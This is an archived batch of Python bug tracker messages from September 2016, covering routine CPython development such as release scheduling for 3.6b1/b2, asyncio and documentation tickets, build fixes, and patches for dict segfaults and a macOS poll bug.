Message-ID: <1473642457.37.0.810045955852.issue26081@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> Yury: What do you think of the code? How solid is it? (The issue I found was due to my own very recent changes to _blocking.)

The code looks fine, I can fix the remaining nits myself.  I've left a couple of comments in review.

> Ned: Is it better to do this in 3.6b1 or to wait for 3.6b2?

TBH it would be way more convenient if we could push this into b2.  I can push this on Tuesday without rushing things, and we'll have plenty of time to watch buildbots etc.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:08:24 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 12 Sep 2016 01:08:24 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1473642457.37.0.810045955852.issue26081@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJJv13dArO-TmQq_Xr28FJppZF_4m4tPpps+h-SxXbkF=w@mail.gmail.com>


Guido van Rossum added the comment:

Yeah, let's do this in 3.6b2.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:11:18 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 01:11:18 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1473642678.9.0.706538068732.issue26081@psf.upfronthosting.co.za>


Ned Deily added the comment:

This change touches a lot of files and affect both the unix* and Windows build processes so, yeah, I think it's too risky to go in to b1. Let's get it in as soon as possible after b1.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:33:02 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:33:02 +0000
Subject: [issue28088] Document Transport.set_protocol and get_protocol
Message-ID: <1473643982.03.0.197585271454.issue28088@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
components: asyncio
keywords: easy
nosy: gvanrossum, haypo, ned.deily, yselivanov
priority: release blocker
severity: normal
status: open
title: Document Transport.set_protocol and get_protocol
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28088>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:33:48 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:33:48 +0000
Subject: [issue28089] Document TCP_NODELAY by default
Message-ID: <1473644028.22.0.582801680902.issue28089@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
assignee: docs at python
components: Documentation, asyncio
keywords: easy
nosy: docs at python, gvanrossum, haypo, ned.deily, yselivanov
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Document TCP_NODELAY by default
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28089>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:34:12 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:34:12 +0000
Subject: [issue28088] Document Transport.set_protocol and get_protocol
Message-ID: <1473644052.25.0.83930830619.issue28088@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
assignee:  -> docs at python
components: +Documentation
nosy: +docs at python
stage:  -> needs patch
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28088>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:44:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 01:44:09 +0000
Subject: [issue27456] asyncio: set TCP_NODELAY flag by default
In-Reply-To: <1467732468.65.0.201519937735.issue27456@psf.upfronthosting.co.za>
Message-ID: <20160912014406.87386.38937.0E3FD41A@psf.io>


Roundup Robot added the comment:

New changeset 3f7e4ae9eba3 by Yury Selivanov in branch '3.5':
Issue #27456: asyncio: Set TCP_NODELAY by default.
https://hg.python.org/cpython/rev/3f7e4ae9eba3

New changeset 10384c5c18f5 by Yury Selivanov in branch 'default':
Merge 3.5 (issue #27456)
https://hg.python.org/cpython/rev/10384c5c18f5

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27456>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:44:38 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:44:38 +0000
Subject: [issue27456] asyncio: set TCP_NODELAY flag by default
In-Reply-To: <1467732468.65.0.201519937735.issue27456@psf.upfronthosting.co.za>
Message-ID: <1473644678.49.0.920672037867.issue27456@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Committed, should be in 3.6 b1.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27456>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:46:44 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:46:44 +0000
Subject: [issue28090] Document PEP 530
Message-ID: <1473644804.69.0.489946780529.issue28090@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
assignee: yselivanov
components: Documentation
nosy: ned.deily, yselivanov
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Document PEP 530
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28090>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:47:13 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:47:13 +0000
Subject: [issue28091] Document PEP 525
Message-ID: <1473644833.61.0.564235264443.issue28091@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
assignee: yselivanov
components: Documentation
nosy: ned.deily, yselivanov
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Document PEP 525
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28091>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:49:27 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 Sep 2016 01:49:27 +0000
Subject: [issue12643] code.InteractiveConsole ignores sys.excepthook
In-Reply-To: <1311768607.53.0.760039078139.issue12643@psf.upfronthosting.co.za>
Message-ID: <1473644967.91.0.0872518024325.issue12643@psf.upfronthosting.co.za>


Berker Peksag added the comment:

3.2 is now dead and it's probably not worth to backport tests to 2.7 in 2016 :) Closing this as 'fixed'.

----------
nosy: +berker.peksag
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed
versions: +Python 3.3 -Python 2.7, Python 3.2

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12643>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:49:51 2016
From: report at bugs.python.org (Martin Panter)
Date: Mon, 12 Sep 2016 01:49:51 +0000
Subject: [issue15819] Unable to build Python out-of-tree when source tree
 is	readonly.
In-Reply-To: <1346309362.14.0.312540957077.issue15819@psf.upfronthosting.co.za>
Message-ID: <1473644991.6.0.424294422985.issue15819@psf.upfronthosting.co.za>


Martin Panter added the comment:

I?m not sure what the overall status of this bug is, so I will leave the versions as they are. Are the three comments from 2013 relevant, and is there anything I can do to help?

The Python 2 code already unconditionally adds -IInclude (see Issue 786737), and does not use BASECPPFLAGS. I think it would better to remove Trent?s code, as in unused-flags.patch.

Python 3 also has this unconditional -IInclude, so maybe we can eliminate one of them in Python 3?

gcc -pthread -c -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes    -Werror=declaration-after-statement  -IObjects -IInclude -IPython -I. -IInclude -I../Include    -DPy_BUILD_CORE -o Python/Python-ast.o Python/Python-ast.c

----------
stage:  -> patch review
Added file: http://bugs.python.org/file44574/unused-flags.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15819>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:56:30 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 01:56:30 +0000
Subject: [issue28066] [Patch] Fix the ability to cross compile Python when
 doing a rebuild of importlib.h
In-Reply-To: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>
Message-ID: <20160912015627.8502.55892.58E6BD49@psf.io>


Roundup Robot added the comment:

New changeset c26dce72a4da by Martin Panter in branch '3.5':
Issue #28066: Fix include search directory logic for out-of-tree builds
https://hg.python.org/cpython/rev/c26dce72a4da

New changeset 3ef078f96494 by Martin Panter in branch 'default':
Issue #28066: Merge srcdir fix from 3.5
https://hg.python.org/cpython/rev/3ef078f96494

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:02:06 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 02:02:06 +0000
Subject: [issue28087] macOS 12 poll syscall returns prematurely
In-Reply-To: <1473637008.93.0.918549766701.issue28087@psf.upfronthosting.co.za>
Message-ID: <1473645726.95.0.444424700448.issue28087@psf.upfronthosting.co.za>


Ned Deily added the comment:

Thanks for the report.  This seems to be a problem visible in the public betas of the upcoming macOS 12 release, not in previous releases (10.11 and earlier).  Do you know if the problem has been reported to Apple?  Also, I've uploaded a reviewable version of your patch.

----------
components: +Tests
stage:  -> patch review
title: Mac OS X poll syscall returns prematurely -> macOS 12 poll syscall returns prematurely
type: compile error -> 
versions: +Python 3.5, Python 3.7
Added file: http://bugs.python.org/file44575/issue28087.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:03:43 2016
From: report at bugs.python.org (Ennis Massey)
Date: Mon, 12 Sep 2016 02:03:43 +0000
Subject: [issue28087] macOS 12 poll syscall returns prematurely
In-Reply-To: <1473645726.95.0.444424700448.issue28087@psf.upfronthosting.co.za>
Message-ID: <6018D051-1E8A-4E93-8653-EEE94D774060@gmail.com>


Ennis Massey added the comment:

Apple doesn?t allow access to other peoples bug reports, so I couldn?t say whether it?s been reported.

Many Thanks,
Ennis Massey

Wet Ferret Studios <http://wet-ferret-studios.azurewebsites.net/>

----------
Added file: http://bugs.python.org/file44576/smime.p7s

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 1652 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-bugs-list/attachments/20160912/7e781060/attachment.bin>

From report at bugs.python.org  Sun Sep 11 22:09:04 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 02:09:04 +0000
Subject: [issue28087] macOS 12 poll syscall returns prematurely
In-Reply-To: <1473637008.93.0.918549766701.issue28087@psf.upfronthosting.co.za>
Message-ID: <1473646144.62.0.371040861268.issue28087@psf.upfronthosting.co.za>


Ned Deily added the comment:

OK, if you get a chance, it would be helpful to submit a RADAR on it and update this issue.  I neglected to mention that your patch does seem to work, e.g., test_eintr no longer fails.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:09:36 2016
From: report at bugs.python.org (Ennis Massey)
Date: Mon, 12 Sep 2016 02:09:36 +0000
Subject: [issue28087] macOS 12 poll syscall returns prematurely
In-Reply-To: <1473646144.62.0.371040861268.issue28087@psf.upfronthosting.co.za>
Message-ID: <F2ADB10C-9056-4B98-9635-D88C192DD487@gmail.com>


Ennis Massey added the comment:

Ok, cool

Many Thanks,
Ennis Massey

Wet Ferret Studios <http://wet-ferret-studios.azurewebsites.net/>

----------
Added file: http://bugs.python.org/file44577/smime.p7s

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 1652 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-bugs-list/attachments/20160912/8e7ba1e4/attachment.bin>

From report at bugs.python.org  Sun Sep 11 22:18:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 02:18:23 +0000
Subject: [issue28065] Update Windows build to xz-5.2.2
In-Reply-To: <1473532930.34.0.476598665602.issue28065@psf.upfronthosting.co.za>
Message-ID: <20160912021819.20991.18190.D9CE162B@psf.io>


Roundup Robot added the comment:

New changeset f06e7501e530 by Zachary Ware in branch 'default':
Issue #28065: Update xz to 5.2.2 on Windows, and build it from source
https://hg.python.org/cpython/rev/f06e7501e530

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28065>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:18:59 2016
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 12 Sep 2016 02:18:59 +0000
Subject: [issue28065] Update Windows build to xz-5.2.2
In-Reply-To: <1473532930.34.0.476598665602.issue28065@psf.upfronthosting.co.za>
Message-ID: <1473646739.24.0.318963576914.issue28065@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Thanks for trying it out, Tim!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28065>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:20:52 2016
From: report at bugs.python.org (Thomi Richards)
Date: Mon, 12 Sep 2016 02:20:52 +0000
Subject: [issue26557] dictviews methods not present on shelve objects
In-Reply-To: <1457954340.57.0.630883947605.issue26557@psf.upfronthosting.co.za>
Message-ID: <1473646852.92.0.856830928758.issue26557@psf.upfronthosting.co.za>


Thomi Richards added the comment:

Attached is a patch that adds documentation to `shelve.rst` explicitly stating that it does not support the viewkeys, viewvalues, and viewitems methods. 

I think this is the correct approach since it doesn't seems sensible to add support for these methods to UserDict, *and* also it might give users the impression that they can incrementally iterate over a shelved object without loading it all (which I believe is incorrect).

----------
keywords: +patch
nosy: +thomir
Added file: http://bugs.python.org/file44578/issue26557_shelve.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26557>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:21:35 2016
From: report at bugs.python.org (Duane Griffin)
Date: Mon, 12 Sep 2016 02:21:35 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1473646895.4.0.298984904454.issue27945@psf.upfronthosting.co.za>


Duane Griffin added the comment:

Fix for the first issue: with this fix there is no segfault or valgrind issue reported on during execution or on exit.

----------
Added file: http://bugs.python.org/file44579/0001-Issue-27945-fix-PyDict_MergeFromSeq2-use-after-free.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:23:22 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 02:23:22 +0000
Subject: [issue26557] dictviews methods not present on shelve objects
In-Reply-To: <1457954340.57.0.630883947605.issue26557@psf.upfronthosting.co.za>
Message-ID: <1473647002.45.0.751582680863.issue26557@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

This patch looks fine.

----------
assignee: docs at python -> rhettinger
nosy: +rhettinger
priority: normal -> low

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26557>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:24:16 2016
From: report at bugs.python.org (Thomi Richards)
Date: Mon, 12 Sep 2016 02:24:16 +0000
Subject: [issue26557] dictviews methods not present on shelve objects
In-Reply-To: <1457954340.57.0.630883947605.issue26557@psf.upfronthosting.co.za>
Message-ID: <1473647056.77.0.989048523042.issue26557@psf.upfronthosting.co.za>


Thomi Richards added the comment:

Attached is a patch that adds a sentence to the UserDict module docs explicitly stating that the viewkeys, viewitems, and viewvalues functions are not implemented. I don't think it's worth adding support for these newer functions in UserDict. I'm unsure whether landing this patch is as necessary as the patch for the shelve module.

----------
Added file: http://bugs.python.org/file44580/issue26557_userdict.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26557>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:34:56 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 12 Sep 2016 02:34:56 +0000
Subject: [issue28068] Error in freeze.py due to unguarded sys.abiflags usage
 under Windows
In-Reply-To: <1473536745.18.0.842895640725.issue28068@psf.upfronthosting.co.za>
Message-ID: <1473647696.74.0.67202646857.issue28068@psf.upfronthosting.co.za>


Steve Dower added the comment:

That folder won't ever exist on Windows - if anything it should just be os.path.join(sys.execprefix, "DLLs"), but I'm not even sure how valuable that is.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28068>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:36:52 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 02:36:52 +0000
Subject: [issue28078] Silence resource warnings in test_socket
In-Reply-To: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>
Message-ID: <1473647812.65.0.534598020277.issue28078@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:36:53 2016
From: report at bugs.python.org (Bayard Randel)
Date: Mon, 12 Sep 2016 02:36:53 +0000
Subject: [issue15308] IDLE - add an "Interrupt Execution" to shell menu
In-Reply-To: <1341865491.11.0.0892141451607.issue15308@psf.upfronthosting.co.za>
Message-ID: <1473647813.33.0.794587872537.issue15308@psf.upfronthosting.co.za>


Bayard Randel added the comment:

I've provided a patch which seems to bring this change up to date on Python 3.6.0a4+, however I've only manually tested. Having had a look at the existing idle tests, it wasn't clear to me how I could also provide a test. Any suggestions would be appreciated. I ran a childrens' coding workshop at Kiwi PyCon 2016 in Dunedin, New Zealand using IDLE and one child in fact raised this issue and was unfamiliar with Ctrl-C.

----------
nosy: +Bayard Randel
Added file: http://bugs.python.org/file44581/issue15308_updated.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15308>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:39:08 2016
From: report at bugs.python.org (Duane Griffin)
Date: Mon, 12 Sep 2016 02:39:08 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1473647948.91.0.844463451836.issue27945@psf.upfronthosting.co.za>


Duane Griffin added the comment:

Fix for the second issue: with this fix there is no segfault or valgrind issue reported on during execution or on exit.

----------
Added file: http://bugs.python.org/file44582/0001-Issue-27945-fix-dictitems_contains-use-after-free.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:43:11 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 Sep 2016 02:43:11 +0000
Subject: [issue11640] Shelve references globals in its __del__ method
In-Reply-To: <1300832144.38.0.133902930927.issue11640@psf.upfronthosting.co.za>
Message-ID: <1473648191.84.0.555821500693.issue11640@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Since PEP 442 has been implemented in 3.4 and e826940911c8 made Shelve.close() more robust, I think this is no longer an issue.

----------
nosy: +berker.peksag
resolution:  -> out of date
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11640>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:49:10 2016
From: report at bugs.python.org (Bayard Randel)
Date: Mon, 12 Sep 2016 02:49:10 +0000
Subject: [issue15308] IDLE - add an "Interrupt Execution" to shell menu
In-Reply-To: <1341865491.11.0.0892141451607.issue15308@psf.upfronthosting.co.za>
Message-ID: <1473648550.05.0.584115707353.issue15308@psf.upfronthosting.co.za>


Bayard Randel added the comment:

Updated description in idle.rst with a fullstop.

----------
Added file: http://bugs.python.org/file44583/issue15308_updated-2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15308>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:50:47 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 12 Sep 2016 02:50:47 +0000
Subject: [issue27181] Add geometric mean to `statistics` module
In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za>
Message-ID: <1473648647.5.0.804525250049.issue27181@psf.upfronthosting.co.za>


Steven D'Aprano added the comment:

As discussed with Ned by email, I'm currently unable to build 3.6 and won't have time to work on this before b1. As discussed on #27761 my tests here are too strict and should be loosened, e.g. from assertEqual to assertAlmostEqual. Ned wrote:

"If you are only planning to make changes to the tests themselves, I think that can wait for b2."

I have no plans to change the publicly visible interface of geometric_mean.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27181>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:50:49 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 Sep 2016 02:50:49 +0000
Subject: [issue17512] backport of the _sysconfigdata.py module (issue 13150)
 breaks the build on darwin
In-Reply-To: <1363906583.54.0.309011739776.issue17512@psf.upfronthosting.co.za>
Message-ID: <1473648649.83.0.789503312827.issue17512@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17512>
_______________________________________

From report at bugs.python.org  Sun Sep 11 22:55:21 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 02:55:21 +0000
Subject: [issue25283] Make tm_gmtoff and tm_zone available on all platforms
In-Reply-To: <1443632019.41.0.93426740001.issue25283@psf.upfronthosting.co.za>
Message-ID: <20160912025518.48632.70927.6C7AD24F@psf.io>


Roundup Robot added the comment:

New changeset a96101dd105c by Alexander Belopolsky in branch 'default':
Closes #25283: Make tm_gmtoff and tm_zone available on all platforms.
https://hg.python.org/cpython/rev/a96101dd105c

----------
nosy: +python-dev
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25283>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:06:50 2016
From: report at bugs.python.org (Robert Collins)
Date: Mon, 12 Sep 2016 03:06:50 +0000
Subject: [issue28087] macOS 12 poll syscall returns prematurely
In-Reply-To: <1473637008.93.0.918549766701.issue28087@psf.upfronthosting.co.za>
Message-ID: <1473649610.12.0.477732933648.issue28087@psf.upfronthosting.co.za>


Robert Collins added the comment:

@Ned - any objection to my committing this at this point?

----------
nosy: +rbcollins

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:06:58 2016
From: report at bugs.python.org (Robert Collins)
Date: Mon, 12 Sep 2016 03:06:58 +0000
Subject: [issue28087] macOS 12 poll syscall returns prematurely
In-Reply-To: <1473637008.93.0.918549766701.issue28087@psf.upfronthosting.co.za>
Message-ID: <1473649618.1.0.808027182155.issue28087@psf.upfronthosting.co.za>


Changes by Robert Collins <robertc at robertcollins.net>:


----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:07:20 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 12 Sep 2016 03:07:20 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1473649640.1.0.564489454766.issue27761@psf.upfronthosting.co.za>


Steven D'Aprano added the comment:

As discussed with Ned via email, this issue shouldn't affect the public geometric_function and the failing tests (currently skipped) are too strict.  The existing tests demand an unrealistic precision which should be loosened,  e.g. from assertEqual to assertAlmostEqual. Ned wrote:

"If you are only planning to make changes to the tests themselves, I think that can wait for b2."

I am currently unable to build 3.6, and I won't have time to resolve that before b1.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:08:43 2016
From: report at bugs.python.org (Ethan Furman)
Date: Mon, 12 Sep 2016 03:08:43 +0000
Subject: [issue28083] socket: finish constant to Enum/Flag conversion
In-Reply-To: <1473626058.57.0.605411268701.issue28083@psf.upfronthosting.co.za>
Message-ID: <1473649723.41.0.789712695576.issue28083@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Thanks, Ned!

----------
assignee:  -> ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28083>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:09:32 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 03:09:32 +0000
Subject: [issue28087] macOS 12 poll syscall returns prematurely
In-Reply-To: <1473637008.93.0.918549766701.issue28087@psf.upfronthosting.co.za>
Message-ID: <1473649772.65.0.747406742858.issue28087@psf.upfronthosting.co.za>


Ned Deily added the comment:

I'm not sure it should be a permanent fix.  Perhaps you could add the test decorator so that it is only tested on 10.12.  I don't have time to look at it more myself before b1.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:13:54 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 Sep 2016 03:13:54 +0000
Subject: [issue16193] display full e-mail name in hg.python.org annotate pages
In-Reply-To: <1349933089.11.0.333803673424.issue16193@psf.upfronthosting.co.za>
Message-ID: <1473650034.38.0.865772986544.issue16193@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Since we are going to move to GitHub, I think we can close this as 'wont fix'.

----------
nosy: +berker.peksag
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16193>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:14:55 2016
From: report at bugs.python.org (Robert Collins)
Date: Mon, 12 Sep 2016 03:14:55 +0000
Subject: [issue21254] PropertyMock refuses to raise AttributeErrror as a side
 effect
In-Reply-To: <1397664917.5.0.84660783066.issue21254@psf.upfronthosting.co.za>
Message-ID: <1473650095.5.0.0463756268131.issue21254@psf.upfronthosting.co.za>


Robert Collins added the comment:

We're poking at this at the kiwipycon sprints

----------
nosy: +rbcollins

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21254>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:16:59 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 12 Sep 2016 03:16:59 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
Message-ID: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

On Centos 5.11, building fails with:

Python/dtrace_stubs.o: In function `PyDTrace_LINE':
/home/steve/python/python-dev/cpython/Include/pydtrace.h:28: multiple definition of `PyDTrace_LINE'
Python/ceval.o:/home/steve/python/python-dev/cpython/Include/pydtrace.h:28: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_FUNCTION_ENTRY':
/home/steve/python/python-dev/cpython/Include/pydtrace.h:29: multiple definition of `PyDTrace_FUNCTION_ENTRY'
Python/ceval.o:/home/steve/python/python-dev/cpython/Include/pydtrace.h:29: first defined here
 [... many, many more duplicate definitions ...]
collect2: ld returned 1 exit status
make: *** [Programs/_freeze_importlib] Error 1


I've tried the usual `make distclean` and `hg update -C default` tricks, and the error remains.

See also discussion here:

https://mail.python.org/pipermail/python-list/2016-September/713888.html

----------
components: Build
messages: 275935
nosy: ned.deily, steven.daprano
priority: normal
severity: normal
status: open
title: Build failure for 3.6 on Centos 5.11
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:18:17 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 12 Sep 2016 03:18:17 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1473650297.37.0.964368759544.issue28086@psf.upfronthosting.co.za>


Steve Dower added the comment:

I added a fix in 7793d34609cb assuming that the intent is to allow subclasses of tuple to be passed directly as *args rather than creating a new tuple. The original changeset seems to suggest this is the intent.

----------
nosy: +ned.deily, steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:18:43 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 12 Sep 2016 03:18:43 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1473650323.27.0.852991414466.issue28086@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
stage: needs patch -> commit review
type: compile error -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

